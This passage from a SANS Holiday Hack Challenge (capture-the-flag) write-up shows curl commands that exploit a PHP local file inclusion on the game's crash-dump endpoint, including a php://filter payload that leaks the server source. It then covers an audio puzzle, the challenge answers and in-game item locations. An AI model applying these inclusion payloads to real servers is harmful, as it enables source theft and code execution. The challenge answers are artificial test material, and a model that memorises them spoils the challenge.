I did find that the ReadCrashDump operation would also allow me to look at the data submitted through WriteCrashDump.

# curl -X POST -H "Content-Type: application/json" -s "http://ex.northpolewonderland.com/exception.php" -d '{"operation":"WriteCrashDump","data":"<?php phpinfo();?>"}' { "success" : true, "folder" : "docs", "crashdump" : "crashdump-QpU4La.php" } # curl -X POST -H "Content-Type: application/json" -s "http://ex.northpolewonderland.com/exception.php" -d '{"operation":"ReadCrashDump","data":{"crashdump":"crashdump-QpU4La"}}' "<?php phpinfo();?>"

My cheeky PHP injection didn't work here either.

You'll note that the full filename isn't listed here so it's safe to assume that ".php" is being appended. This is further confirmed by just submitting it with the extension.

Fatal error! crashdump value duplicate '.php' extension detected.

It makes sense then that this is some sort of file inclusion and opens up a number of potential attack possibilities. This is further confirmed with the below test.

# curl -X POST -H "Content-Type: application/json" -s "http://ex.northpolewonderland.com/exception.php" -d '{"operation":"ReadCrashDump","data":{"crashdump":"../docs/crashdump-w5lXxR"}}' "test"

I wasn't able to get any directory traversal attacks working but I was reminded of another Elf hint.

<Sugarplum Mary> - Hi, I'm Sugarplum Mary. I'm a developer! <Sugarplum Mary> - I like PHP, it offers so much flexibility even though the syntax is straight out of 1978. <Sugarplum Mary> - PHP Filters can be used to read all kinds of I/O Streams. <Sugarplum Mary> - As a developer, I must be careful to ensure attackers can't use them to access sensitive files or data. <Sugarplum Mary> - Jeff McJunkin wrote a blog post on local file inclusions using this technique. <Sugarplum Mary> - I need to go back and make sure no one can read my source code using this technique. <Sugarplum Mary> - I love curl braces and semicolons.

Using this technique allows us to quickly get the sourcecode for the "exception.php" file and find the location of our next audio file, discombobulated-audio-6-XyzE3N9YqKNH.mp3.

# curl -X POST -H "Content-Type: application/json" -s "http://ex.northpolewonderland.com/exception.php?crashdump=123" -d '{"operation":"ReadCrashDump","data":{"crashdump":"php://filter/convert.base64-encode/resource=exception"}}' PD9waHAgCgojIEF1ZGlvIGZpbGUgZnJvbSBEaXNjb21ib2J1bGF0b3IgaW4gd2Vicm9vdDogZGlzY29tYm9idWxhdGVkLWF1ZGlvLTYtWHl6RTNOOVlxS05ILm1wMwoKIyBDb2RlIGZyb20gaHR0cDovL3RoaXNpbnRlcmVzdHNtZS5jb20vcmVjZWl2aW5nLWpzb24tcG9zdC1kYXRhLXZpYS1waHAvCiMgTWFrZSBzdXJlIHRoYXQgaXQgaXMgYSBQT1NUIHJlcXVlc3QuCmlmKHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10sICdQT1NUJykgIT0gMCl7CiAgICBkaWUoIlJlcXVlc3QgbWV0aG9kIG11c3QgYmUgUE9TVC5cbiIpOwp9CgkgCiMgTWFrZSBzdXJlIHRoYXQgdGhlIGNvbnRlbnQgdHlwZSBvZiB0aGUgUE9TVCByZXF1ZXN0IGhhcyBiZWVuIHNldCB0byBhcHBsaWNhdGlvbi9qc29uCiRjb250ZW50VHlwZSA9IGlzc2V0KCRfU0VSVkVSWyJDT05URU5UX1RZUEUiXSkgPyB0cmltKCRfU0VSVkVSWyJDT05URU5UX1RZUEUiXSkgOiAnJzsKaWYoc3RyY2FzZWNtcCgkY29udGVudFR5cGUsICdhcHBsaWNhdGlvbi9qc29uJykgIT0gMCl7CiAgICBkaWUoIkNvbnRlbnQgdHlwZSBtdXN0IGJlOiBhcHBsaWNhdGlvbi9qc29uLFxuIik7Cn0KCQojIEdyYWIgdGhlIHJhdyBQT1NULiBOZWNlc3NhcnkgZm9yIEpTT04gaW4gcGFydGljdWxhci4KJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsKJG9iaiA9IGpzb25fZGVjb2RlKCRjb250ZW50LCB0cnVlKTsKCSMgSWYganNvbl9kZWNvZGUgZmFpbGVkLCB0aGUgSlNPTiBpcyBpbnZhbGlkLgppZighaXNfYXJyYXkoJG9iaikpewogICAgZGllKCJQT1NUIGNvbnRhaW5zIGludmFsaWQgSlNPTiEgXG4iKTsKfQoKIyBQcm9jZXNzIHRoZSBKU09OLgppZiAoICEgaXNzZXQoICRvYmpbJ29wZXJhdGlvbiddKSBvciAoCgkkb2JqWydvcGVyYXRpb24nXSAhPT0gIldyaXRlQ3Jhc2hEdW1wIiBhbmQKCSRvYmpbJ29wZXJhdGlvbiddICE9PSAiUmVhZENyYXNoRHVtcCIpKQoJewoJZGllKCJGYXRhbCBlcnJvciEgSlNPTiBrZXkgJ29wZXJhdGlvbicgbXVzdCBiZSBzZXQgdG8gV3JpdGVDcmFzaER1bXAgb3IgUmVhZENyYXNoRHVtcC5cbiIpOwp9CmlmICggaXNzZXQoJG9ialsnZGF0YSddKSkgewoJaWYgKCRvYmpbJ29wZXJhdGlvbiddID09PSAiV3JpdGVDcmFzaER1bXAiKSB7CgkJIyBXcml0ZSBhIG5ldyBjcmFzaCBkdW1wIHRvIGRpc2sKCQlwcm9jZXNzQ3Jhc2hEdW1wKCRvYmpbJ2RhdGEnXSk7Cgl9CgllbHNlaWYgKCRvYmpbJ29wZXJhdGlvbiddID09PSAiUmVhZENyYXNoRHVtcCIpIHsKCQkjIFJlYWQgYSBjcmFzaCBkdW1wIGJhY2sgZnJvbSBkaXNrCgkJcmVhZENyYXNoZHVtcCgkb2JqWydkYXRhJ10pOwoJfQp9CmVsc2UgewoJIyBkYXRhIGtleSB1bnNldAoJZGllKCJGYXRhbCBlcnJvciEgSlNPTiBrZXkgJ2RhdGEnIG11c3QgYmUgc2V0LiBcbiIpOwp9CmZ1bmN0aW9uIHByb2Nlc3NDcmFzaGR1bXAoJGNyYXNoZHVtcCkgewoJJGJhc2VwYXRoID0gIi92YXIvd3d3L2h0bWwvZG9jcy8iOwoJJG91dHB1dGZpbGVuYW1lID0gdGVtcG5hbSgkYmFzZXBhdGgsICJjcmFzaGR1bXAtIik7Cgl1bmxpbmsoJG91dHB1dGZpbGVuYW1lKTsKCQoJJG91dHB1dGZpbGVuYW1lID0gJG91dHB1dGZpbGVuYW1lIC4gIi5waHAiOwoJJGJhc2VuYW1lID0gYmFzZW5hbWUoJG91dHB1dGZpbGVuYW1lKTsKCQoJJGNyYXNoZHVtcF9lbmNvZGVkID0gIjw/cGhwIHByaW50KCciIC4ganNvbl9lbmNvZGUoJGNyYXNoZHVtcCwgSlNPTl9QUkVUVFlfUFJJTlQpIC4gIicpOyI7CglmaWxlX3B1dF9jb250ZW50cygkb3V0cHV0ZmlsZW5hbWUsICRjcmFzaGR1bXBfZW5jb2RlZCk7CgkJCQoJcHJpbnQgPDw8RU5ECnsKCSJzdWNjZXNzIiA6IHRydWUsCgkiZm9sZGVyIiA6ICJkb2NzIiwKCSJjcmFzaGR1bXAiIDogIiRiYXNlbmFtZSIKfQoKRU5EOwp9CmZ1bmN0aW9uIHJlYWRDcmFzaGR1bXAoJHJlcXVlc3RlZENyYXNoZHVtcCkgewoJJGJhc2VwYXRoID0gIi92YXIvd3d3L2h0bWwvZG9jcy8iOwoJY2hkaXIoJGJhc2VwYXRoKTsJCQoJCglpZiAoICEgaXNzZXQoJHJlcXVlc3RlZENyYXNoZHVtcFsnY3Jhc2hkdW1wJ10pKSB7CgkJZGllKCJGYXRhbCBlcnJvciEgSlNPTiBrZXkgJ2NyYXNoZHVtcCcgbXVzdCBiZSBzZXQuIFxuIik7Cgl9CgoJaWYgKCBzdWJzdHIoc3RycmNocigkcmVxdWVzdGVkQ3Jhc2hkdW1wWydjcmFzaGR1bXAnXSwgIi4iKSwgMSkgPT09ICJwaHAiICkgewoJCWRpZSgiRmF0YWwgZXJyb3IhIGNyYXNoZHVtcCB2YWx1ZSBkdXBsaWNhdGUgJy5waHAnIGV4dGVuc2lvbiBkZXRlY3RlZC5cbiIpOwoJfQoJZWxzZSB7CgkJcmVxdWlyZSgkcmVxdWVzdGVkQ3Jhc2hkdW1wWydjcmFzaGR1bXAnXSAuICcucGhwJyk7Cgl9CQp9Cgo/Pg== # curl -X POST -H "Content-Type: application/json" -s "http://ex.northpolewonderland.com/exception.php?cp","data":{"crashdump":"php://filter/convert.base64-encode/resource=exception"}}' |base64 -d <?php # Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3 # Code from http://thisinterestsme.com/receiving-json-post-data-via-php/ # Make sure that it is a POST request. if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){ die("Request method must be POST.\n"); } # Make sure that the content type of the POST request has been set to application/json $contentType = isset($_SERVER["CONTENT_TYPE"]) ? trim($_SERVER["CONTENT_TYPE"]) : ''; if(strcasecmp($contentType, 'application/json') != 0){ die("Content type must be: application/json,\n"); } # Grab the raw POST. Necessary for JSON in particular. $content = file_get_contents("php://input"); $obj = json_decode($content, true); # If json_decode failed, the JSON is invalid. if(!is_array($obj)){ die("POST contains invalid JSON! \n"); } # Process the JSON. if ( ! isset( $obj['operation']) or ( $obj['operation'] !== "WriteCrashDump" and $obj['operation'] !== "ReadCrashDump")) { die("Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.\n"); } if ( isset($obj['data'])) { if ($obj['operation'] === "WriteCrashDump") { # Write a new crash dump to disk processCrashDump($obj['data']); } elseif ($obj['operation'] === "ReadCrashDump") { # Read a crash dump back from disk readCrashdump($obj['data']); } } else { # data key unset die("Fatal error! JSON key 'data' must be set. \n"); } function processCrashdump($crashdump) { $basepath = "/var/www/html/docs/"; $outputfilename = tempnam($basepath, "crashdump-"); unlink($outputfilename); $outputfilename = $outputfilename . ".php"; $basename = basename($outputfilename); $crashdump_encoded = "<?php print('" . json_encode($crashdump, JSON_PRETTY_PRINT) . "');"; file_put_contents($outputfilename, $crashdump_encoded); print <<<END { "success" : true, "folder" : "docs", "crashdump" : "$basename" } END; } function readCrashdump($requestedCrashdump) { $basepath = "/var/www/html/docs/"; chdir($basepath); if ( ! isset($requestedCrashdump['crashdump'])) { die("Fatal error! JSON key 'crashdump' must be set. \n"); } if ( substr(strrchr($requestedCrashdump['crashdump'], "."), 1) === "php" ) { die("Fatal error! crashdump value duplicate '.php' extension detected.\n"); } else { require($requestedCrashdump['crashdump'] . '.php'); } } ?>

Question 08 - The Goods

8) What are the names of the audio files you discovered from each system above? There are a total of SEVEN audio files (one from the original APK in Question 4, plus one for each of the six items in the bullet list above.) Please note: Although each system is remotely exploitable, we DO NOT expect every participant to compromise every element of the SantaGram infrastructure. Gain access to the ones you can. Although we will give special consideration to entries that successfully compromise all six vulnerabilities and retrieve their audio files, we happily accept partial answers and point out that they too are eligible for any of the prizes.

The 7 audio files are below.

Question 09 - Cyborgs Learning Chess

9) Who is the villain behind the nefarious plot.

I struggled with the audio quite a bit and realized I know absolutely nothing about audio forensics or mixing in general. Given that, I still managed to figure it out after hours of listening to this thing on loop and reversing, speeding up, speeding down, noise canceling, etc. I'd highly recommend Audacity for A) being free and B) having tons of capabilities in a user-friendly interface.

In the end, speeding it up 500%, changing the pitch to D#3, along with a few guesses, led me to the answer. The combined audio can be played below or downloaded here.

The first part of the audio made sense..."Father Christmas, Santa Claus". Ok, I get it. Santa, Father Christmas. Holiday Challenge. Roger that.

The second part though...it made no sense at all - "Father Christmas, Santa Claus, as Cyborgs learning Chess".

I spent the next two nights on the audio and honestly had a blast just hanging out in the final room ("The Corridor") with a bunch of other players. We'd shoot the breeze, talk to each other, give hints, and had a lot of laughs at each others frustrations. The social aspect of the game this year was fantastic and sorely lacking in any other CTFs.

Googling around for what I believe the phrase to be, I stumbled upon this link.

I began reading a lot of the Doctor Who stuff and noted the TARDIS on Santa's office desk.

I still couldn't figure out what the password was and tried lots of episode names, character names, and other Doctor Who/Christmas references to no avail. It wasn't until someone told me they thought the last audio file sounded like "chess" too, but it wasn't.

Knowing I had the audio wrong, I began trying to disect the last few words. The 4th audio file I just couldn't place. It sounded like "as" or "and" and I started typing in variations in Google.


When I saw the TARDIS Data Core website's profile for Santa, I thought it was odd that they listed "Jeff" as an alias but now it all made sense.

Trying the password "father christmas santa claus or as ive always known him jeff" opens the last door and pulls back the curtain on this mystery.

The answer to Question 9 is "Doctor Who", of course!

Question 10 - Why?!

10) Why had the villain abducted Santa? Please note: You can determine the plot and the identity of the villain with access to as few as five of the seven audio files. However, as stated above, participants who gain access to all seven audio files will be given special consideration. Again, you do not need to compromise all the SantaGram servers to answer items 9 and 10. Partial answers are completely welcomed and are certainly eligible to win.

Doctor Who looked into a time vortex and saw a universe where the Star Wars Holiday Special never happened, thus the world was better off not having suffered through the misery of seeing it. Basically, he's a mad man. Star Wars Holiday Special was awesome and Itchy, Malla, and Lumpy would agree!

Aarrr wgh ggwaaah!

Cranberry Pi Parts

Heat Sink - Elf House #2 - Upstairs

Cranberry Pi Board - Elf House #1 -> Secret Fireplace Room

Power Cord - The North Pole

SD Card - The North Pole

HDMI Cable - Workshop

Once you have all of the parts, head back to Holly Evergreen at the start of the game and tell her the password extracted in Question 5 ("yummycookies").

Coin Locations - Present Day

Coin 01 - The North Pole (behind roof)

Coin 02 - Elf House #2 (in Kitchen)

Coin 03 - Elf House #2 (under couch)

Coin 04 - Elf House #2 - Upstairs (in trough)

Coin 05 - Elf House #2 - Room 2

Coin 06 - Elf House #1 -> Secret Fireplace Room

Coin 07 - NetWars Experience Treehouse (left side)

Coin 08 - The North Pole (on top of NetWars roof)

Coin 09 - Small Tree House

Coin 10 - The North Pole (front of Santa's Workshop)

Coin 11 - Workshop (conveyor belt)

Coin 12 - DFER

Coin 13 - The Corridor

Coin Locations - 1978

Coin 14 - The North Pole (beyond Holly Evergreen)

Coin 15 - The North Pole (behind two houses on left)

Coin 16 - The Big Tree (upstairs)

Coin 17 - NetWars Experience Treehouse (right side)

Coin 18 - Santa's Office (in knights hand)

Coin 19 - Workshop (behind boxes)

Coin 20 - Workshop - Train Station

With that, we wrap up the last of the in-game achievements and fully complete this years challenge!

Props again to the SANs team for another great Holiday Hack Challenge!

Until next year...

Older posts...